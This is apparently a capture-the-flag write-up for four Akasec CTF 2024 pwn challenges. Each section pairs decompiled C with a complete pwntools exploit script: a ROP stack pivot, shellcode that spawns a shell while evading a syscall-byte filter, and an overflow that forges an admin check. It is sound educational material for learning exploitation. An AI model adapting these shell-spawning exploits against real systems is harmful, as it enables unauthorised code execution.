# Akasec CTF 2024
# Warm up
### Overall

```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
helper(argc, argv, envp);
printf("%p\n", &puts);
printf("name>> ");
fgets(name, 512, stdin);
printf("alright>> ");
fgets(s, 88, stdin);
puts("okey");
return 0;
}
```
- No PIE
- No canaryfound
- Give me the address of puts -> leak libc
### Bug
```cpp=
char s[64];
fgets(s, 88, stdin);
```
- **BOF**
### Approach
**Target:** stack pivot + ROP
- As you see, I only have 16 bytes to overwrite from retaddr. If I call system("/bin/sh"), I will need at least 3 quadwords : poprdi_ret, binsh and system.
- So I need to use stack pivot to do my ROP.
- The program disable PIE and name is global variable, so the address of this variable remains unchanged.
- It is a good idea to try to move stack pointer to this.

- 
### Problem
Normally, I try to use method poprdiret, binsh, system; however, it doesn't work here. I try to make rdi, rsi, rcx is zero; it still fails. I don't know exactly the reason for this.
- 
- 
I used to be stuck and panic for this challenge in one moment. Fortunately, I try with syscall and it works.
### Script
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./warmup_patched', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+141
b *main+166
b *main+167
"""
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('172.210.129.230', 1338)
else:
return process(elf.path)
io = start()
io.recvuntil(b'0x')
puts = int(b'0x' + io.recvn(12), 16)
libc.address = puts - libc.sym['puts']
info("puts @ " + hex(puts))
info("libc base @ " + hex(libc.address))
binsh = next(libc.search(b'/bin/sh\x00'))
syscall = libc.address + 0x00000000000288b5
poprax_ret = libc.address + 0x00000000000dd237
poprdi_ret = libc.address + 0x000000000010f75b
poprsi_ret = libc.address + 0x0000000000110a4d
poprsp_ret = 0x000000000040118e
getshell = p64(poprax_ret)
getshell += p64(0x3b)
getshell += p64(poprdi_ret)
getshell += p64(binsh)
getshell += p64(poprsi_ret)
getshell += p64(0)
getshell += p64(syscall)
payload = b'a'*72
payload += p64(poprsp_ret)
payload += p64(0x404060)
io.sendlineafter(b'name>> ', getshell)
io.sendlineafter(b'alright>> ', payload)
io.interactive()
```
# Good_trip
## Overall

***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
void *buf; // [rsp+8h] [rbp-8h]
v4 = 0;
init(argc, argv, envp);
buf = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL);
printf("code size >> ");
__isoc99_scanf("%d", &v4);
if ( v4 >= 0x1001 )
return 0;
printf("code >> ");
read(0, buf, 0x999uLL);
mprotect(buf, (int)v4, 5);
if ( (unsigned __int8)filter(buf) )
{
puts("nop, not happening.");
exit(-1);
}
exec(buf);
return 0;
}
```
***filter***
```cpp=
__int64 __fastcall filter(__int64 a1)
{
void *s1[3]; // [rsp+10h] [rbp-20h]
int v3; // [rsp+28h] [rbp-8h]
int v4; // [rsp+2Ch] [rbp-4h]
v4 = -1;
s1[0] = &unk_402010;
s1[1] = &unk_402013;
s1[2] = &unk_402016;
while ( ++v4 <= 4093 )
{
v3 = -1;
while ( ++v3 <= 2 )
{
if ( !memcmp(s1[v3], (const void *)(v4 + a1), 2uLL) )
return 1LL;
}
}
return 0LL;
}
```

- ***Banned bytes***
- **0F 05:** syscall
- **0f 34:** sysenter
- **cd 80:** int 0x80
## Approach
**Target:** leak libc
- Because PIE enable, so I can use got table to leak libc
- 
- in main
- 
### Script
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./good_trip_patched', checksec=False)
#libc = ELF('./libc.so.6', checksec=False)
#libc = elf.libc
gs = """
b *main
b *0x0000000000401382
b *0x00000000004011a6
b *0x00000000004011e6
"""
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('172.210.129.230', 1351)
else:
return process(elf.path)
shell = \
'''
xor rax, rax
mov al, 0x3b
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov rbx, [0x403fc0]
add rbx, 15
jmp rbx
binsh:
.asciz "/bin/sh"
'''
shellcode = asm(shell, arch = 'amd64', os = 'linux')
io = start()
io.sendlineafter(b'code size >> ', str(len(shellcode)).encode())
io.sendlineafter(b'code >> ', shellcode)
io.interactive()
```
# Bad trip
## Overall

***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
code = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL);
mmap((void *)0x6969696969LL, 0x21000uLL, 3, 34, -1, 0LL);
printf("here ill give you something to start with %p\n", (const void *)(unsigned int)&puts);
printf("code >> ");
read(0, code, 0x999uLL);
mprotect(code, 0x1000uLL, 5);
filter();
exec(code);
return 0;
}
```
***filter()***
```cpp=
__int64 filter()
{
int v1; // [rsp+8h] [rbp-28h]
int v2; // [rsp+Ch] [rbp-24h]
void *s1[4]; // [rsp+10h] [rbp-20h]
s1[3] = (void *)__readfsqword(0x28u);
v1 = -1;
s1[0] = &unk_2020;
s1[1] = &unk_2023;
s1[2] = &unk_2026;
while ( ++v1 <= 4094 )
{
v2 = -1;
while ( ++v2 <= 2 )
{
if ( !memcmp(s1[v2], (char *)code + v1, 2uLL) )
{
puts("nop, not happening.");
exit(-1);
}
}
}
return 0LL;
}
```

- ***Banned bytes***
- **0F 05:** syscall
- **0f 34:** sysenter
- **cd 80:** int 0x80
***The program gives me 4 bytes at the end of address of puts in libc.***
***You input shellcode for program run it. However, filter() bans syscall, int 0x80 and sysenter.***
## Approach 1
**Target:** libc
- 
- r13: contain the address of stack.
- Thus, I can target this to get the libc.
- 
### Script
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./bad_trip_patched', checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
gs = """
b *main
b *main+191
b *main+216
b *main+241
b *exec+71
"""
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('172.210.129.230', 1352)
else:
return process(elf.path)
io = start()
shell = \
'''
mov rax, r13
sub rax, 288
mov rbx, [rax]
add rbx, 0xdb85f
xor rax, rax
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
jmp rbx
binsh:
.asciz "/bin/sh"
'''
shellcode = asm(shell, arch = 'amd64', os = 'linux')
io.sendlineafter(b'code >> ', shellcode)
io.interactive()
```
## Approach 2
**Target:** libc
- Leak 4 bytes at the end of the address of puts.
- **fs**: this refers to a special segment register in x86 and x86-64 architectures. Segment registers are used in conjunction with base addresses to locate memory locations. In this case, fs specifically points to a region called Thread-Local Storage (TLS).
- Afterwards, + 4 bytes: I will have the address of libc.
### Script
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./bad_trip_patched', checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
gs = """
b *main
b *main+191
b *main+216
b *main+241
b *exec+71
"""
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('172.210.129.230', 1352)
else:
return process(elf.path)
io = start()
io.recvuntil(b"with ")
leak = int(io.recvline().strip(),16)
info(f"leak {hex(leak)}")
shell = \
f'''
mov rbx, fs:0x0
mov rcx, 0xFFFFFFFF00000000
and rbx, rcx
mov eax, {hex(leak)}
or rbx, rax
add rbx, 0x8993f
xor rax, rax
lea rdi, [rip + binsh]
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
jmp rbx
binsh:
.asciz "/bin/sh"
'''
shellcode = asm(shell, arch = 'amd64', os = 'linux')
io.sendlineafter(b'code >> ', shellcode)
io.interactive()
```
## Other approaches
### Leak libc depend on: ***xmm1***
### **excve** instead of syscall
# Yapping
## Overall



***main***
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]
v5 = 0;
strcpy(v4, "hellooooooooo!\n");
write_(1LL, v4, 15LL);
vuln();
return 0;
}
```
***vuln***
```cpp=
__int64 vuln()
{
char v1[108]; // [rsp+0h] [rbp-70h] BYREF
int i; // [rsp+6Ch] [rbp-4h]
for ( i = 0; i <= 104; i += 8 )
read_(0LL, &v1[i], 8LL);
read_(0LL, &v1[i], 8LL);
return write_(
1LL,
"\n"
"\n"
" _ \n"
" |_ _. _|_ o _ |_ ._ _ _. ._ ._ o ._ _ _. |_ _ _|_ )\n"
"\\/\\/ | | (_| |_ | _> |_) | (_) \\/ (_| |_) |_) | | | (_| (_| |_) (_) |_| |_ o \n"
" / | | _| \n"
"\n",
367LL);
}
```
***win***
```cpp=
__int64 win()
{
__int64 result; // rax
int v1; // [rsp+8h] [rbp-78h]
unsigned int v2; // [rsp+Ch] [rbp-74h]
char v3[103]; // [rsp+10h] [rbp-70h] BYREF
char var9[17]; // [rsp+77h] [rbp-9h] BYREF
strcpy(var9, "flag.txt");
if ( (unsigned int)check_user() )
v2 = open_(var9, 0LL);
if ( (unsigned int)check_user() )
v1 = read_(v2, v3, 100LL);
result = check_user();
if ( (_DWORD)result )
return write_(1LL, v3, v1);
return result;
}
```
***check_user***
```cpp=
__int64 check_user()
{
signed __int64 v0; // rax
if ( user == 97
&& byte_404001 == 100
&& byte_404002 == 109
&& byte_404003 == 105
&& byte_404004 == 110
&& !byte_404005 )
{
return 1;
}
else
{
v0 = sys_exit(1);
return 0;
}
}
```
- 
- compare user with: **admin**
## Bug
***Target:*** BOF
```cpp=
char v1[108]; // [rsp+0h] [rbp-70h] BYREF
int i; // [rsp+6Ch] [rbp-4h]
for ( i = 0; i <= 104; i += 8 )
read_(0LL, &v1[i], 8LL);
read_(0LL, &v1[i], 8LL);
```
- This function stores index i for loop in stack.
- Write 8 bytes each input, but loop to 104 with the size of v1: 108. -> Overwrite i
- Afterwards, I have one more time to write 8 bytes to the offset from the address of v1 rely on i. -> Overwrite retaddr.
## Approach
**Target**
- I need to call win function to get the flag; however, check_user function will check user variable to confirm the privilege.
- write "admin" to user variable -> call win.
- However, I only one have gadget to overwrite the retaddr.
- The program disable PIE
- 
- If I jump to `sub rsp,0x70`, I will have more space in the stack can be overwrited, include rbp, retaddr....
- I notice that user variable only can be changed by trigger read to this address of it(this idea is possible because PIE disable -> the address of user variable remains unchanged).
- 
- control rbp -> trigger to write to specified address
## Script
```python=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./challenge', checksec=False)
gs = \
"""
b *main
b *vuln+43
b *vuln+80
b *vuln+107
b *vuln+111
b *vuln+112
b *win
b *check_user
"""
def info(mes):
return log.info(mes)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
elif args.REMOTE:
return remote('20.80.240.190', 14124)
else:
return process(elf.path)
def vuln():
io.recvuntil(b'hellooooooooo!\n')
#garbage data
for i in range(13):
io.send(b'a'*7 + b'\x00')
#overwrite i
io.send(b'a'*4 + p32(112))
#overwrite retaddr
io.send(p64(0x4011f4))
# garbage data
for i in range(10):
io.send(b'b'*7 + b'\x00')
#overwrite rbp with the value the address of user variable + 0x70
io.send(p64(0x404070))
#overwrite retaddr to write to user variable
io.send(p64(0x40122e))
#garbage data
io.send(b'd'*8)
#overwrite i to overwrite retaddr in the third return
io.send(b'b'*4 + p32(208))
#overwrite retaddr
io.send(p64(elf.sym['win']))
#write to user variable
io.send(b'admin\x00\x00\x00')
io = start()
vuln()
io.interactive()
```